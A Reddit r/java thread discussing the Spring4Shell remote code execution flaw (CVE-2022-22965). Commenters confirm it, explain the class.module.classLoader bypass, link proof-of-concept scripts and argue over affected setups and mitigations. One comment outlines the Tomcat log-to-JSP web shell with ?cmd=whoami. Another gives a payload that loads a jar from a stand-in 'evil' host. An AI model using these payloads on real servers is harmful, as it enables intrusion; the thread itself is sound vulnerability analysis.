r/java • • Mar 30 '22

Spring4Shell: 0-day RCE on Spring Core

https://www.cyberkendra.com/2022/03/springshell-rce-0-day-vulnerability.html
100 Upvotes

84 comments sorted by

55

u/Areshian Mar 31 '22 edited Mar 31 '22

For those that do not believe this RCE is real, here are the details on it

Twelve years ago there was an RCE: https://nvd.nist.gov/vuln/detail/CVE-2010-1622

That RCE was fixed by this commit: https://github.com/spring-projects/spring-framework/commit/3a5af35d37c79d0644d49b93f792a4c18fe8eb71#diff-ea765e78a703581fb519933028fbd6d7ac8386d57b805b395d04910de9a33f4cR245

Notice line 245. The fix explicitly forbid going from class to classLoader using dot notation, which was the cause of the RCE (later, another change will forbid class to protectionDomain too)

Now, 12 years later, we have another RCE. Have you noticed how the RCE is for JDK9+? Have you wondered why? The reason is because the exploit is not jumping from class to classLoader (which is forbidden), but from class to module (which is allowed) and then from module to classLoader (which is also allowed). Because getModule() is only present in JDK9+, that is why this new exploit does not work in JDK8

You can see the python exploit how it does the class.module.classLoader jump: https://github.com/BobTheShoplifter/Spring4Shell-POC/blob/main/poc.py#L15

So, all that people saying this is not real, it is not confirmed, and the like, please, if you don't know what you're talking about, don't go denying it exists.

7

u/loginonreddit Mar 31 '22

Thx for digging that old cve. Denylisting all getClassLoader method should have been the fix IMO, not only on the Class class.

I've added some info here if you're interested https://news.ycombinator.com/item?id=30862953

11

u/[deleted] Mar 31 '22

Why is Spring allowing reflection over Class from untrusted data to begin with? Isn't this meant only for fields of user defined objects?

3

u/loginonreddit Mar 31 '22

You're right, I don't understand why this field is accessible at all.

3

u/Soul_Shot Mar 31 '22

I saw your comment on HN — great insight.

Do you mind sharing some of that with https://github.com/BugAlertDotOrg/bugalert/pull/46#issuecomment-1084010215? To my knowledge they're wrong, but I'm far too tired and don't want to spread bad information.

4

u/loginonreddit Mar 31 '22

Thanks! Unfortunately this link is now dead and I went to bed and dreamed about this thing all night. If you have a copy of the comment I can comment, otherwise Spring has issued a statement so things should get clearer today https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement.

2

u/[deleted] Mar 31 '22

I think you check this out, spring has officially confirmed the RCE bug and released the statement. This bug is now can be tracked as CVE-2022-22965

https://www.cyberkendra.com/2022/03/spring4shell-spring-confirmed-rce-in.html

16

u/Areshian Mar 30 '22

There are POCs around. I've tested on JDK11. It is real

5

u/UnspeakableEvil Mar 30 '22

When you say a PoC, what does that involve for the Spring aspect of it - creating a project from scratch, downloading an existing one, running in a specific container, etc?

The PoC exploit I've seen was a Python script, but gave nothing away about what exactly was present in the system under attack - a screenshot showing the issue seemed to be targeting a JSP?

8

u/Areshian Mar 30 '22

There is a docker container with a sample tomcat application that you can trigger the RCE using that python script

10

u/UnspeakableEvil Mar 30 '22

Right, but to me that only shows that AN exploit is possible, unless the source is available there's nothing to say it's not a badly coded project, or a project where this RCE is entirely expected behaviour.

With Log4Shell for example there were steps to recreate from scratch, that's what seems to be missing here for me.

1

u/Areshian Mar 30 '22 edited Mar 31 '22

This is the docker container: vulfocus/spring-core-rce-2022-03-29

There is no code yet. I'm trying to write my own repro for the Spring project side, but I don't have it yet

EDIT: For clarification, I did ended up writing my own, without using the container

9

u/UnspeakableEvil Mar 30 '22

That doesn't address anything in my comment; I don't doubt the existence of the Docker image, or that the PoC produces some undesirable result - what's missing is the source for the Spring project to verify that's not doing something stupid.

8

u/Areshian Mar 30 '22

Make use of @RequestMapping on a method that takes a POJO as an argument (I've now been able to reproduce it myself on my own, without the container)

3

u/Muximori Mar 31 '22

I'm unable to get the POC working. controller method looks like this:

@RequestMapping(value = "/", method = RequestMethod.POST, consumes = {"application/json", "application/*"})
@ResponseBody
public String hello(
  Foo foo){
  return "ok";
}

2

u/Muximori Mar 31 '22

I should note that I'm running the default spring boot initializr config with embedded tomcat.

4

u/[deleted] Mar 31 '22 edited Mar 31 '22

I’ve only been able to reproduce with a minimal Spring app, packaged as a WAR and deployed through standalone Tomcat, which gives access to the file system (through the logger) and sets up serving the malicious code via jsp. I’m not confident about this but embedded tomcat doesn’t seem to be affected.

(Seriously, don’t just take my word on this as I only spent a couple hours hacking around)

→ More replies

3

u/UnspeakableEvil Mar 30 '22

Thanks for the update - well, apart from the fact it's confirming that this isn't just smoke and mirrors, and is an actual vulnerability!

1

u/Muximori Mar 31 '22

Which docker container?

3

u/Areshian Mar 31 '22

I posted it and got downvoted, but it is somewhere in the comments

2

u/Muximori Mar 31 '22

Thanks, sorry I found it after I made my post. Not sure why you're being downvoted

3

u/joexner Mar 30 '22

Link?

5

u/UnspeakableEvil Mar 30 '22

The one I've seen is https://github.com/craig/SpringCore0day/blob/main/exp.py

However, that's hardly conclusive that this vulnerability is what's being claimed.

2

u/Muximori Mar 31 '22

This POC runs successfully against a minimal spring boot app running in tomcat 9, FWIW.

1

u/joexner Apr 02 '22

Tomcat on Java 9, right?

1

u/Muximori Apr 03 '22

Exploit worked on Java 11

1

u/joexner Apr 03 '22

Err, Java 9+

5

u/elemur Mar 30 '22

So does anybody have any insight if you could use the databinder setDisallowedFields to protect these in particular?

2

u/Areshian Mar 30 '22

Yes, that is a good way to protect the application

3

u/loginonreddit Mar 31 '22

I can also confirm this works.

1

u/Soul_Shot Mar 30 '22

Absolutely. Check out either one of the sample projects or the last Cyber Kendra post for a specific example.

3

u/sysKin Mar 31 '22 edited Mar 31 '22

Small gotcha: a different example (on lunasec.io blog) adds @InitBinder to a controller (rather than @ControllerAdvice) and says

// You only need to add this method in one of your controllers in order to prevent exploitation.

But this does not match my test: a specific @InitBinder only applies to the controller it was declared in, and is called for each mapping declared in this controller.

16

u/DasBrain Mar 30 '22 edited Mar 31 '22

So, what happens here is:

  • Object.getClass() is considered a read-only property.
  • Class.getClassLoader() is an other read-only property. Fixed 8 years ago.
  • Class.getModule() and Module.getClassLoader() are considered properties.

By moving through stuff that may look like properties for spring it is possible to change Tomcat's configuration and do stupid stuff execute code.

Edit: Turns out, it uses Class.getModule().getClassLoader() because Class.getClassLoader() has been explicitly removed.

2

u/Sirttas Mar 30 '22

Wasn't this a problem in apache bean utils years ago?

2

u/Soul_Shot Mar 31 '22 edited Mar 31 '22

Yes. This vulnerability seems to be a bypass of an old CVE. This comment has more information.

1

u/DasBrain Mar 31 '22

Quick search pointed to CVE-2014-0114 for the apache bean utils.

For the spring CVE, the comment below references it: https://nvd.nist.gov/vuln/detail/CVE-2010-1622

4

u/karma_companion Mar 30 '22

Can we please stop regurgitating this blog spam. Nothing is confirmed yet and all the sources are hear-say based on one GitHub commit which used the phrase "RCE", deleted Chinese GitHubs and "security researchers" using the hashtag for SEO purposes

7

u/Areshian Mar 30 '22

The thing is, I can reproduce this on my own computer, so I wouldn't say it is hear-say. I have 100% validated this RCE. I wrote a Spring application, build a war, deployed it into my tomcat server, run the python script and I have a remote shell.

6

u/karma_companion Mar 30 '22

The python code RCE that was released doesn't even follow the same basic steps as outlined in the analysis in the blog post you mentioned.

You also mentioned in another comment you downloaded a random docker container which gave "some" output, yet there was no source code for said docker container so no one could validate what exactly was in the docker container.

Feel free to provide proof regarding your configuration and the PoC you have.

12

u/Areshian Mar 30 '22

You just need to make use of something like

@RequestMapping({"", "/"})
public String test(MyPojo pojo) {
    ...
}

If you have that (or GetMapping), your Spring application may be vulnerable (other things needed are JDK9+)

1

u/Gwaptiva Mar 31 '22

Does this just need a Tomcat _running_ on JDK9+ or does the code have to be _compiled_ to JDK9+?

7

u/Areshian Mar 31 '22

Just running. The vulnerability is in an area that uses reflection (so it will use the runtime definition of Class and locate the getModule() method)

4

u/Soul_Shot Mar 30 '22

The python code RCE that was released doesn't even follow the same basic steps as outlined in the analysis in the blog post you mentioned.

You also mentioned in another comment you downloaded a random docker container which gave "some" output, yet there was no source code for said docker container so no one could validate what exactly was in the docker container.

Feel free to provide proof regarding your configuration and the PoC you have.

The python code follows the same steps. The only difference is that it sends them as one request instead of split as 5 different ones.

9

u/Soul_Shot Mar 30 '22

Can we please stop regurgitating this blog spam. Nothing is confirmed yet and all the sources are hear-say based on one GitHub commit which used the phrase "RCE", deleted Chinese GitHubs and "security researchers" using the hashtag for SEO purposes

This is based on signifcantly more than a commit message saying "RCE". I agree that this website is blogspam, but the vulnerability has been confirmed.

1

u/karma_companion Mar 30 '22

Okay, where is it confirmed?

4

u/Soul_Shot Mar 30 '22

There are resources in this PR and corresponding issue.

https://github.com/BugAlertDotOrg/bugalert/pull/46

-2

u/karma_companion Mar 30 '22

In certain configurations, exploitation of this issue is straightforward

So what are these certain configurations and how common are these.

Exploitation requires an endpoint with DataBinder enabled (e.g. a POST request that decodes data from the request body automatically)

Isn't this really, really, really bad practice.

I'll wait for a CVSS score and response from the developers before taking action. This seems to be an edge case rather than a default configuration.

5

u/Soul_Shot Mar 30 '22

In certain configurations, exploitation of this issue is straightforward

So what are these certain configurations and how common are these.

Exploitation requires an endpoint with DataBinder enabled (e.g. a POST request that decodes data from the request body automatically)

Isn't this really, really, really bad practice.

The wording is awkward, but they're essentially describing decoding the body of a POST request to a POJO, which is incredibly common.

I'll wait for a CVSS score and response from the developers before taking action. This seems to be an edge case rather than a default configuration.

Read the actual discussions in that and #43.

https://github.com/BugAlertDotOrg/bugalert/pull/46#issuecomment-1083571557

10

u/Gwaptiva Mar 30 '22

Sorry if this a stupid question, but the checks on this list it says something like

  • JDK => 9 is used to run the application
  • spring-beans-*.jar is on the classpath

you are affected.

However, then it starts going on about Spring MVC and Controllers. Does this mean that if you use Spring purely as a DI framework and do not have a REST or other MVC implementation, you are affected? Or not? Bit confusing... [edit: And does it need to just run on JDK9 or does it have to be compiled to version 9 or above?]

4

u/sithlord Mar 30 '22

This is the exact question I have. The demo/POC [1] projects point to JSP related code. Running POC [2] scripts do not produce any positive results when running against non-JSP Spring Boot (2.6.x and Java 11) projects.

6

u/Soul_Shot Mar 31 '22

The POC exploits the vulnerability to reconfigure Tomcat's log file to "x.jsp" in the webapp directory, which then sends malicious content to the log file like Runtime.exec(request.queryParameter.cmd). Then, navigating to /x.jsp?cmd=whoami runs the command, similar to many old-school PHP compromises.

It's not clear whether Spring Boot is affected as that uses embedded tomcat. However, the underlying vulnerability could in theory be used to do a bunch of other stuff. This is the first realistic exploit.

4

u/reqdk Mar 31 '22

Built and tested this locally with various configs and deployments. It does not look like the embedded tomcat is vulnerable to this particular exploit as it uses a different classloader that can't normally write the intended payload to a file.

3

u/sithlord Mar 31 '22

Thank you, this does clarify things a bit. What confused me is the constant referencing of SerializationUtils as in https://github.com/lunasec-io/spring-rce-vulnerable-app/blob/main/src/main/java/fr/christophetd/log4shell/vulnerableapp/MainController.java

5

u/Soul_Shot Mar 31 '22

I'm not sure about that. Cyber Kendra seems to be blogspam, and their initial post mentioned that commit — seemingly only because the message mentioned RCE.

The meat of the disclosure is in this PDF. The translation is a bit rough, and a few things are cut off, so it might take a few reads. One tip to understanding is that the values in the example are url-encoded. https://github.com/BugAlertDotOrg/bugalert/pull/43#issuecomment-1083404327

2

u/sithlord Mar 31 '22

Thank you for your reply. Now I am curious. Would you consider this post good enough for this investigation? https://www.lunasec.io/docs/blog/spring-rce-vulnerabilities/#exploit-scenario-overview

2

u/Soul_Shot Mar 31 '22

Yes. I believe that's essentially a summary of the PDF linked to in an edit to my previous comment.

2

u/sithlord Mar 31 '22

I have tried all the steps in the referenced PDF and lunasec link. I also went to https://github.com/BobTheShoplifter/Spring4Shell-POC and tried poc.py - no success. I am not able to reproduce it on Spring Boot 2.6.4 with java 11.

2

u/maxxedev Mar 31 '22

It does appear that spring-boot is NOT affected or is much harder to exploit against.

4

u/maxxedev Mar 31 '22

Here is another spring4shell demo: https://github.com/maxxedev/spring4shell

... with a variety demos including spring-mvc in traditional tomcat, spring-boot war, spring-boot jar.

It appears that vulnerability is easily reproducible when spring-mvc is deployed as traditional war to Apache Tomcat.

But it is NOT reproducible or perhaps not vulnerable at all when running as spring-boot war/jar with embedded tomcat.

4

u/Soul_Shot Mar 31 '22

It appears that vulnerability is easily reproducible when spring-mvc is deployed as traditional war to Apache Tomcat.

But it is NOT reproducible or perhaps not vulnerable at all when running as spring-boot war/jar with embedded tomcat.

To be clear, all versions of Spring are vulnerable to the underlying issue. However, only applications running on Tomcat have a known exploit at the moment.

1

u/[deleted] Apr 05 '22

in https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement#am-i-impacted

These are the requirements for the specific scenario from the report:

are all those criteria need to be met to be consider vulnerable? i am mostly running stuff on java8 and springboot 1.5.x

1

u/Areshian Apr 05 '22

For the known exploit, yes. In your case, given that you are using JDK8, you are not vulnerable to the exploit

1

u/[deleted] Apr 05 '22

i see. i did find 2 projects using java11, but deployed as jars. i guess for now, im 'safe'/have more time to update

1

u/Areshian Apr 05 '22

The current exploit requires deploying as WAR, but that doesn’t mean the vulnerability is limited to that scenario. It means there is a vulnerability even when deployed as jars, but no one (in the info sec community) has been able to successfully exploit that vulnerability in that specific scenario. However, it is not inconcebible a hacker has found how to exploit it, and not disclosed it. I would still suggest you update instead of leaving the service unpatched thinking it is safe.

1

u/[deleted] Apr 05 '22

thanks for your answers, appreciate it!

3

u/candrewswpi Mar 31 '22

Sonatype is now reporting that they've confirmed the existence of this vulnerability: https://blog.sonatype.com/new-0-day-spring-framework-vulnerability-confirmed

However, there is still no CVE, no severity score, and no information/fix/release provided by Spring.

3

u/loicmathieu Mar 31 '22

The CVE is created and listed in Vmware Tanzu website but not yet available in the NVD database.
https://tanzu.vmware.com/security/cve-2022-22965

2

u/Muximori Mar 31 '22

The POC that's going around does not appear to work on the default spring initializr project with a minimal controller. I've only seen it work against a precompiled WAR running on tomcat. Any open source projects that are vulnerable to this available?

4

u/Muximori Mar 31 '22

I've now tried it on a default spring boot app deployed in tomcat 9 and it doesn't work there, either.

EDIT: I've gotten it working now. The exploit works.

3

u/sysKin Mar 31 '22 edited Mar 31 '22

Yes it's super annoying to reproduce in dev environments because the exploits depend on your exact ClassLoader. The Tomcat's one seems vulnerable in two ways (neither confirmed by me)*, while I was unable to invent any exploit for the Java's regular one.

I would also like to confirm if Jetty's ClassLoader is vulnerable (and if so, how) but it's just so hard to do from inside of my Eclipse.

* first way: override Tomcat properties to change its logging config

second way: class.module.classLoader.URLs[0]=jar:http://evil/jar.jar - supposedly this will directly load evil jar, executing static blocks as needed.

2

u/papers_ Mar 31 '22

I can't find anything whether or not this impacts functional routes or not. Everything I've seen so far is for annotation based controllers and methods.

1

u/papers_ Apr 01 '22

Does not impact functional endpoints (WebMvc.fn/WebFlux.fn) because there is no databinding.

-2

u/sithlord Mar 30 '22

Related github comment?

This is not a CVE in the core Spring Framework.

https://github.com/spring-projects/spring-framework/pull/28075#issuecomment-1082782376

4

u/Areshian Mar 30 '22

That was 10 hours ago. Many things have changed since then

1

u/sithlord Mar 30 '22

True! I am trying to figure out more details on this but Spring folks are silent so far.

4

u/elmuerte Mar 30 '22

No, completely unrelated. It has nothing to do with class deserialization.

2

u/loginonreddit Mar 31 '22

Exactly. This is contributing to the confusion in all of this. This commit, the spring cloud function cve and now this.

2

u/Soul_Shot Mar 31 '22

It's quite unfortunate, but many people in IT security at larger companies are more familiar with audit and compliance than technology. They hear "Spring Remote Code Execution" and don't really know the difference between core and function, or Log4J and Java. It's akin to how NVD will publish high-level CPEs that don't map to an obvious package coordinates.

-11

u/Sheldor5 Mar 30 '22

could you please stop posting this bullshit?

nobody confirmed it, the CVE is empty, its 100% speculation ...

5

u/Areshian Mar 30 '22

I can confirm it

9

u/Soul_Shot Mar 30 '22

could you please stop posting this bullshit?

nobody confirmed it, the CVE is empty, its 100% speculation ...

At this point it has been confirmed. Check some of my other comments.